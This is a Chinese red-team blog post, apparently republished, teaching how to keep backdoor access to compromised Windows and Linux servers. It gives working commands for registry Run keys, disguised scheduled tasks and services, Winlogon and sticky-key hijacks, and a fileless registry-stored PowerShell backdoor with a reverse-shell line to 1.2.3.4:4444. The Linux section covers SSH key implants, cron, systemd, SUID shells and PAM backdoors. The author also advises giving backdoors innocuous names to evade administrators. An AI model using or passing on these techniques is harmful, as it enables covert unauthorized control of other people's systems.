文章总结: 本文系统讲解服务器权限维持技术,涵盖Windows注册表启动项、计划任务、系统服务、粘滞键后门及LinuxSSH密钥、cron、systemd服务等方法,强调多类型后门组合使用原则,并介绍无文件落地PowerShell后门等高级技巧,为内网渗透提供可操作建议。 综合评分: 82 文章分类: 红队,内网渗透,安全工具
权限维持 之 拿到服务器之后怎么留后门
原创
围巢安全笔记 围巢安全笔记
围巢安全笔记
2026年10月7日 20:30 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
WEB 漏洞精讲 · 第 30 篇
上次打一个靶场,费了九牛二虎之力拿到了服务器权限,结果第二天再连,发现人家重启了,我的webshell还在,但我的反弹shell没了。后来才知道,拿到权限之后第一件事不是庆祝,是留后门——不然人家一重启,你就白干了。权限维持这东西,是内网渗透里最容易被忽略,但也是最重要的一步。
这篇把权限维持的常见方法讲清楚,分Windows和Linux两部分,约 3200 字,附 2 个冷门干货。
01|什么是权限维持
简单说,权限维持就是——你拿到了服务器的权限,但是这个权限可能会丢(服务器重启、管理员改密码、webshell被删)。所以你要留几个”后门”,保证下次还能进来,而且进来之后还是原来的权限。
为什么权限维持很重要?因为:
- 服务器可能会重启,你的内存马、反弹shell就没了
- 管理员可能会改密码,你原来的账号密码就用不了了
- webshell可能会被杀毒软件删掉,或者被管理员发现删掉
- 你可能需要过几天再来,到时候原来的入口可能已经被修了
所以拿到权限之后,一定要多留几个后门,而且要留不同类型的后门——不要把鸡蛋放在一个篮子里。
02|Windows权限维持:注册表启动项
这是最经典的Windows权限维持方式——在注册表里加一个启动项,每次用户登录的时候,后门程序就会自动运行。
在注册表Run项里添加后门程序,开机自动运行
# 当前用户的启动项(HKCU)
# 用户登录的时候运行
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\backdoor.exe"
# 所有用户的启动项(HKLM)
# 任何用户登录的时候都运行(需要管理员权限)
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\backdoor.exe"
# RunOnce:只运行一次,运行完之后自动删除
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "backdoor" /t REG_SZ /F /D "C:\backdoor.exe"
# 更隐蔽的位置:
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
# 查看启动项:
# Win+R 输入 msconfig,看启动选项卡
# 或者用任务管理器的启动选项卡
# 或者用 reg query 命令查看
03|Windows权限维持:计划任务
计划任务是更灵活的权限维持方式——你可以设置后门程序什么时候运行(每天、每周、登录时、开机时),而且计划任务比较隐蔽,不容易被发现。
# 创建一个每天凌晨3点运行的计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc daily /st 03:00 /f
# 创建一个开机就运行的计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc onstart /f
# 创建一个用户登录就运行的计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc onlogon /f
# 创建一个每小时运行一次的计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc hourly /mo 1 /f
# 注意:
# /tn 是任务名称,要起一个看起来正常的名字,比如"Windows Update"
# /tr 是要运行的程序路径
# /sc 是运行频率(daily/onstart/onlogon/hourly/weekly)
# /f 是强制覆盖已存在的任务
# 查看计划任务:
schtasks /query
# 或者 控制面板 -> 管理工具 -> 任务计划程序
# 删除计划任务:
schtasks /delete /tn "Windows Update" /f
04|Windows权限维持:服务和其他方式
- 创建系统服务
把后门程序注册成系统服务,开机的时候自动运行,而且是以system权限运行。
# 创建服务
sc create "Windows Update Service" binPath= "C:\backdoor.exe" start= auto
# 启动服务
sc start "Windows Update Service"
# 注意:binPath= 后面有个空格,start= 后面也有个空格
# 这是sc命令的语法要求,不能少
# 查看服务:
sc query
# 或者 控制面板 -> 管理工具 -> 服务
# 删除服务:
sc delete "Windows Update Service"
- Winlogon用户初始化后门
修改Winlogon的userinit注册表项,每次用户登录的时候,除了运行正常的userinit.exe,还会运行你的后门程序。
# 修改userinit注册表项
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\backdoor.exe"
# 注意:userinit.exe后面加个逗号,再加后门程序路径
# 系统会依次运行这两个程序
# 这个方式比较隐蔽,因为userinit是正常的系统进程
# 还有个更隐蔽的:
# 修改 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
# 把 explorer.exe 改成 explorer.exe,C:\backdoor.exe
# 每次启动桌面的时候运行后门
- 粘滞键后门(sethc)
这是最经典的物理后门——把粘滞键程序(sethc.exe)替换成cmd.exe。然后在登录界面按5次Shift,就会弹出一个cmd窗口,而且是system权限。不需要登录,直接就能用。
# 备份原来的sethc.exe
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
# 用cmd.exe替换sethc.exe
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# 然后在登录界面按5次Shift
# 就会弹出一个cmd窗口,system权限
# 还有 utilman.exe(轻松访问)
# 按 Win+U 弹出
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# 注意:Windows 10/11有文件保护
# 直接替换可能会被系统恢复
# 需要先获取TrustedInstaller权限,或者用PE启动盘替换
干货无文件落地:注册表存储PowerShell后门
这是最隐蔽的权限维持方式——不落地任何文件,把PowerShell代码存在注册表里,启动的时候从注册表里读出来执行:
# 原理:
# 把PowerShell后门代码(Base64编码)存在注册表里
# 然后在启动项里加一条命令,从注册表里读出来执行
# 整个过程不落地任何exe文件,杀毒软件很难检测
# 1. 把PowerShell代码Base64编码
# 比如你的反弹shell代码:
# $client = New-Object System.Net.Sockets.TCPClient("1.2.3.4",4444);...
# 用Base64编码之后,存在注册表里
# 2. 存在注册表里
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /V "Update" /t REG_SZ /F /D "Base64编码后的代码"
# 3. 在启动项里加执行命令
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Update" /t REG_SZ /F /D "powershell -nop -w hidden -c \"$code = (Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer').Update; powershell -nop -w hidden -enc $code\""
# 4. 每次用户登录的时候
# 启动项会运行PowerShell
# 从注册表里读出Base64代码
# 解码并执行
# 整个过程不落地任何文件
# 更高级的:把代码存在WMI里
# 用WMI事件订阅做权限维持
# 连注册表都不用,更隐蔽
无文件落地是现在APT攻击最常用的权限维持方式,因为不落地文件,传统杀毒软件根本检测不到。
05|Linux权限维持
- SSH密钥后门
这是Linux最常用的权限维持方式——把你的SSH公钥加到目标机器的authorized_keys里,以后你随时都能SSH登录,不需要密码。
# 把你的公钥加到root的authorized_keys里
echo "你的公钥" >> /root/.ssh/authorized_keys
# 确保权限正确
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# 然后你就能用私钥登录了
ssh -i 你的私钥 root@目标IP
# 更隐蔽的:加到其他用户的authorized_keys里
# 比如www-data、mysql这些服务用户
# 不容易被发现
# 注意:如果目标禁用了SSH密钥登录
# 需要改 /etc/ssh/sshd_config
# PubkeyAuthentication yes
# 然后重启ssh服务
- 计划任务(cron)
# 当前用户的计划任务
crontab -e
# 加一行:每天凌晨3点运行后门
0 3 * * * /path/to/backdoor.sh
# 或者直接写文件
echo "0 3 * * * /path/to/backdoor.sh" >> /var/spool/cron/crontabs/root
# 系统级的计划任务
echo "0 3 * * * root /path/to/backdoor.sh" >> /etc/crontab
# 放到cron.d目录里
echo "0 3 * * * root /path/to/backdoor.sh" > /etc/cron.d/backdoor
# 更隐蔽的:
# 放到 /etc/cron.hourly/ /etc/cron.daily/ 目录里
# 这些目录里的脚本会每小时/每天自动运行
# 而且名字看起来正常的话,不容易被发现
# 查看计划任务:
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
- 系统服务(systemd)
# 创建一个systemd服务
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/path/to/backdoor
Restart=always
User=root
[Install]
WantedBy=multi-user.target
EOF
# 启用并启动服务
systemctl enable backdoor
systemctl start backdoor
# 查看服务:
systemctl list-units --type=service
# 或者 systemctl status backdoor
# 删除服务:
systemctl stop backdoor
systemctl disable backdoor
rm /etc/systemd/system/backdoor.service
- 其他方式
-
添加用户
:useradd -m -s /bin/bash backdoor,然后echo “backdoor:密码” | chpasswd,再把用户加到sudo组
-
SUID后门
:cp /bin/bash /tmp/.bash; chmod u+s /tmp/.bash,以后运行 /tmp/.bash -p 就是root权限
-
修改PAM配置
:在PAM模块里加后门,任何用户用特定密码都能登录
-
修改bashrc
:在 /root/.bashrc 里加一行,每次root登录的时候运行后门
-
内核模块rootkit
:加载一个恶意内核模块,隐藏进程、文件、网络连接,最难检测
权限维持这东西,核心原则就是——不要把鸡蛋放在一个篮子里。多留几个不同类型的后门,注册表、计划任务、服务、SSH密钥,都留一个。这样就算管理员发现了一个,删掉了,你还有其他的能进来。而且后门的名字要起得正常一点,不要叫backdoor、hacker这种一看就有问题的名字,叫Windows Update、System Service这种,混在正常的里面,不容易被发现。
下一篇我们聊痕迹清理——干完活之后,怎么把日志清干净,不留痕迹。我们下篇见。
围巢安全笔记
不生产焦虑,只分享踩过的坑和挖过的洞
你常用的权限维持方法是什么?评论区聊聊 👇
有想聊的话题,后台留言告诉我
往期回顾
- WAF绕过:10个冷门的绕过技巧
- 域渗透:Kerberos攻击的几种姿势
- 端口转发:拿到webshell之后,怎么把内网的端口转到本地来
- 钓鱼攻击:一封邮件是怎么把整个公司搞垮的
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:围巢安全笔记 围巢安全笔记 围巢安全笔记《权限维持 之 拿到服务器之后怎么留后门》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论